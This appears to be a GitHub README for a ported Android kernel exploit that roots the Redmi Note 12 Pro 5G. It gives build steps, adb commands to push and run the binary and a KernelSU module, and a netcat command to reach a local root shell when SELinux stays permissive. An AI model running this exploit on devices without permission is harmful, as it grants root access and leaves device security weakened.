Skip to content

About

No description, website, or topics provided.

Resources

Stars

3 stars

Watchers

0 watching

Forks

Latest commit

 

History

2 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 

Repository files navigation

ghostlock_ruby

Port of the GhostLock exploit for the Redmi Note 12 Pro 5G

  • Device: Redmi Note 12 Pro 5G (ruby, MT6877)
  • Kernel: 4.19.191-ge6429b82e599
  • Build: ghostlock_ruby
  • Listener: 127.0.0.1:55555

Build

NDK_ROOT=/path/to/android-ndk-* make

The source files live directly under src/ Offsets: src/target_ruby.h

Run

Push the binary somewhere writable and run it from an adb shell:

adb push ghostlock_ruby /data/local/tmp/ghostlock_ruby
adb push kernelsu_ruby.ko /data/local/tmp/kernelsu_ruby.ko
adb shell chmod 755 /data/local/tmp/ghostlock_ruby
adb shell /data/local/tmp/ghostlock_ruby

At the end of the exploit the KernelSU module (needs manager version v3.2.5) will be loaded and selinux is restored. If that fails selinux stays permissive and you can access the root shell:

nc 127.0.0.1 55555

Limitations

  • It still sometimes crashes the kernel
  • It was only tested via adb, W3 was not confirmed working yet

Notes

  • Only use it for devices you own or have permission to use for this
  • I am not responsible for anything that could happen when running this tool on a real device
  • Built solely for eductional/testing/demonstrating purposes only

About

No description, website, or topics provided.

Resources

Stars

3 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages